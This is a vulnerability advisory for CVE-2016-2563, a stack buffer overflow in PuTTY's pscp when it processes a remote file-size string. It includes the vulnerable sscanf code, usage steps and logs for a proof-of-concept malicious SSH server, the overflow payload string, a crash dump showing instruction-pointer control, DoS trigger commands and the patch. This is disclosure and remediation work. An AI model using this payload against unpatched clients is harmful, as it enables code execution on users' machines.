Author: <github.com/tintinweb>
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-2563
Version: 0.2
Date: Feb 20th, 2016
Tag: putty pscp client-side post-auth stack buffer overwrite when processing remote file size
Name: putty
Vendor: sgtatham
References: * http://www.chiark.greenend.org.uk/~sgtatham/putty/ [1]
Version: 0.66 [2]
Latest Version: 0.66
Other Versions: 0.59 [3] (~9 years ago) <= affected <= 0.66
Platform(s): win/nix
Technology: c
Vuln Classes: stack buffer overwrite (CWE-121)
Origin: remote
Min. Privs.: post auth
CVE: CVE-2016-2563
quote website [1]
PuTTY is a free implementation of SSH and Telnet for Windows and Unix platforms, along with an xterm terminal emulator. It is written and maintained primarily by Simon Tatham.
The putty SCP command-line utility (pscp) is missing a bounds-check for a stack buffer when processing the SCP-SINK file-size response to a SCP download request. This may allow a malicious server to overwrite the stack buffer within the client- application potentially leading to remote code execution.
PoC attached. patch attached.
Besides that, two minor issues have been reported in putty packet handling:
- DoS condition in the parsing of SSH-Strings that lead to a nullptr read. (connect putty to
poc.py
and typex11exploit
to trigger one of multiple occurrence of a crash, also works with x11forwarding disabled in putty) - DoS condition in the handling of unrequested forwarded-tcpip channels open requests that lead to a nullptr read. (connect putty to
poc.py
and typeforwardedtcpipcrash
to trigger crash)
The vulnerable code is located in pscp.c
[4] line 1498 (HEAD) and is based on an
unbound sscanf
string format descriptor storing an arbitrary length string in
a 40byte fixed size stack buffer sizestr[40]
.
Inline annotations are prefixed with //#!
1491 /*
1492 * If we get here, we must have seen SCP_SINK_FILE or
1493 * SCP_SINK_DIR.
1494 */
1495 {
1496 char sizestr[40]; //#! fixed size buffer
1497
1498 if (sscanf(act->buf, "%lo %s %n", &act->permissions, //#! unbound cstr %s written to sizestr
1499 sizestr, &i) != 2)
Prerequisites:
- install python 2.7.x
- issue
#> pip install paramiko
to installparamiko
ssh library for python 2.x - make sure
poc.py
andtest_rsa.key
are in the same folder
poc:
Usage: [<listen_ip:port>] [--no-checks]
Default: 0.0.0.0:22
--no-checks ... disable client banner checks (for testing putty clones)
-
start the malicious sshd by running
poc.py
which by default will bind all ips, port 22.INFO monkey-patch paramiko.Transport.open_channel INFO monkey-patch paramiko.Transport._check_banner INFO --start-- INFO ServerHostKey: 60733844cb5186657fdedaa22b5a57d5 INFO BIND: ('0.0.0.0', 22) INFO Listening for connection ... ...
-
try to retrieve any file from the malicious sshd by executing
pscp
. Provide any user/password/pubkey, the server will just accept anything.c:\> pscp.exe -scp root@localhost:/etc/passwd . root@localhost's password: anything
-
key-exchange and authentication
... INFO new peer: ('127.0.0.1', 6127) DEBUG starting thread (server mode): 0x2411750L INFO Connected (version 2.0, client PuTTY_Release_0.66) DEBUG kex algos:[u'diffie-hellman-group-exchange-sha256', u'diffie-hellman-group-exchange-sha1', u'diffie-hellman-group14-sha1', u'diffie-hellman-group1-sha1', u'rsa2048-sha256', u'rsa1024-sha1'] server key:[u'ssh-rsa', u'ssh-dss'] client encrypt:[u'aes256-ctr', u'aes256-cbc', u'[email protected]', u'aes192-ctr', u'aes192-cbc', u'aes128-ctr', u'aes128-cbc', u'blowfish-ctr', u'blowfish-cbc', u'3des-ctr', u'3des-cbc', u'arcfour256', u'arcfour128'] server encrypt:[u'aes256-ctr', u'aes256-cbc', u'[email protected]', u'aes192-ctr', u'aes192-cbc', u'aes128-ctr', u'aes128-cbc', u'blowfish-ctr', u'blowfish-cbc', u'3des-ctr', u'3des-cbc', u'arcfour256', u'arcfour128'] client mac:[u'hmac-sha2-256', u'hmac-sha1', u'hmac-sha1-96', u'hmac-md5'] server mac:[u'hmac-sha2-256', u'hmac-sha1', u'hmac-sha1-96', u'hmac-md5'] client compress:[u'none', u'zlib'] server compress:[u'none', u'zlib'] client lang:[u''] server lang:[u''] kex follows?False DEBUG Ciphers agreed: local=aes256-ctr, remote=aes256-ctr DEBUG using kex diffie-hellman-group14-sha1; server key type ssh-rsa; cipher: local aes256-ctr, remote aes256-ctr; mac: local hmac-sha1, remote hmac-sha1; compression: local none, remote none DEBUG Switch to new keys ... DEBUG Auth request (type=none) service=ssh-connection, username=root INFO Auth rejected (none). INFO REQUEST: allowed auths: gssapi-keyex,gssapi-with-mic,password,publickey DEBUG Auth request (type=gssapi-with-mic) service=ssh-connection, username=root INFO Auth rejected (gssapi-with-mic). INFO REQUEST: allowed auths: gssapi-keyex,gssapi-with-mic,password,publickey DEBUG Auth request (type=password) service=ssh-connection, username=root INFO REQUEST: CHECK_AUTH_PASS u'root' xxxxx INFO * SUCCESS INFO Auth granted (password). ...
-
pscp
tries to retrieve file. Server responds with fake timestamps, permissions and an overly long filesize string overflowing the 40byte client buffer.... INFO REQUEST: CHAN session 0 DEBUG [chan 0] Max packet in: 32768 bytes DEBUG [chan 0] Max packet out: 16384 bytes DEBUG Secsh channel 0 (session) opened. DEBUG [chan 0] Unhandled channel request "[email protected]" INFO REQUEST: EXEC <paramiko.Channel 0 (open) window=2147483647 -> <paramiko.Transport at 0x2411750L (cipher aes256-ctr, 256 bits) (active; 1 open channel(s))>> scp -f /a INFO Authenticated! INFO wait for event INFO wait for event WARNING Oh, hello putty/pscp PuTTY_Release_0.66, nice to meet you! INFO send (time): 'T1444608444 0 1444608444 0\n' INFO send (perm): 'C755 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \n' INFO boom! ERROR Peer did not ask for a shell within 10 seconds. DEBUG EOF in transport thread ...
-
pscp
crashes due to RET overwrite with EIP control (\x41
==A
). Can be turned into RCE (see annotation, EIP control)FAULTING_IP: unknown!noop+0 41414141 ?? ??? EXCEPTION_RECORD: ffffffffffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 0000000041414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 0000000000000000 Parameter[1]: 0000000041414141 Attempt to read from address 0000000041414141 CONTEXT: 0000000000000000 -- (.cxr 0x0;r) eax=00000000 ebx=00000000 ecx=00187dc0 edx=00000000 esi=003f1061 edi=00000000 eip=41414141 esp=00187e18 ebp=41414141 iopl=0 nv up ei pl zr na pe nc //#! EIP control cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? FAULTING_THREAD: 0000000000001d7c PROCESS_NAME: pscp.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1: 0000000000000000 EXCEPTION_PARAMETER2: 0000000041414141 READ_ADDRESS: 0000000041414141 FOLLOWUP_IP: unknown!noop+0 41414141 ?? ??? FAILED_INSTRUCTION_ADDRESS: unknown!noop+0 41414141 ?? ??? NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 APP: pscp.exe ANALYSIS_VERSION: xxx IP_ON_HEAP: 0000000041414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 BUGCHECK_STR: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_ZEROED_STACK_EXPLOITABLE PRIMARY_PROBLEM_CLASS: BAD_INSTRUCTION_PTR_EXPLOITABLE DEFAULT_BUCKET_ID: BAD_INSTRUCTION_PTR_EXPLOITABLE FRAME_ONE_INVALID: 1 LAST_CONTROL_TRANSFER: from 0000000041414141 to 0000000041414141 STACK_TEXT: WARNING: Frame IP not in any known module. Following frames may be wrong. 00187e14 41414141 41414141 41414141 41414141 0x41414141 00187e18 41414141 41414141 41414141 41414141 0x41414141 00187e1c 41414141 41414141 41414141 00004141 0x41414141 00187e20 41414141 41414141 00004141 00000000 0x41414141 00187e24 41414141 00004141 00000000 00000000 0x41414141 00187e28 00000000 00000000 00000000 00000000 0x41414141 STACK_COMMAND: .cxr 0x0 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: unknown!noop+0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: unknown IMAGE_NAME: unknown DEBUG_FLR_IMAGE_TIMESTAMP: 0 FAILURE_BUCKET_ID: BAD_INSTRUCTION_PTR_EXPLOITABLE_c0000005_unknown!noop BUCKET_ID: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_ZEROED_STACK_EXPLOITABLE_BAD_IP_unknown!noop+0 ANALYSIS_SOURCE: UM FAILURE_ID_HASH_STRING: um:bad_instruction_ptr_exploitable_c0000005_unknown!noop FAILURE_ID_HASH: xxx Followup: MachineOwner ---------
Q: ImportError: No module named py3compat
A: outdated paramiko
please upgrade with pip install --upgrade paramiko
-
provide length to
sscanf
conversion specifier%s
with a max ofsizeof(sizestr)-1
%39s
(see attachedpscp.patch
)diff --git a/pscp.c b/pscp.c index a4e55fe..809c20f 100644 --- a/pscp.c +++ b/pscp.c @@ -1495,7 +1495,7 @@ int scp_get_sink_action(struct scp_sink_action *act) { char sizestr[40]; - if (sscanf(act->buf, "%lo %s %n", &act->permissions, + if (sscanf(act->buf, "%lo %39s %n", &act->permissions, sizestr, &i) != 2) bump("Protocol error: Illegal file descriptor format"); act->size = uint64_from_decimal(sizestr);
Verified, resolved and released within one week. quite impressive.
Vendor response: see [5]
PuTTY clones based on the vulnerable version are probably affected. run #> poc.py 0.0.0.0:22 --no-checks
to disable client banner checks
- affected (
kscp.exe
): KiTTY <= 0.66.6.3 [6]
[1] http://www.chiark.greenend.org.uk/~sgtatham/putty/
[2] http://tartarus.org/~simon-git/gitweb/?p=putty.git
[3] http://tartarus.org/~simon-git/gitweb/?p=putty.git;a=tree;h=5baaacba07aff7bd680cf9954fee44a0c11dc968;hb=c8ac73ada6aa865ce9f4d0e389ba210072bc0b57
[4] http://tartarus.org/~simon-git/gitweb/?p=putty.git;a=blob;f=pscp.c;hb=HEAD
[5] http://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-pscp-sink-sscanf.html
[6] http://www.9bis.net/kitty/
https://github.com/tintinweb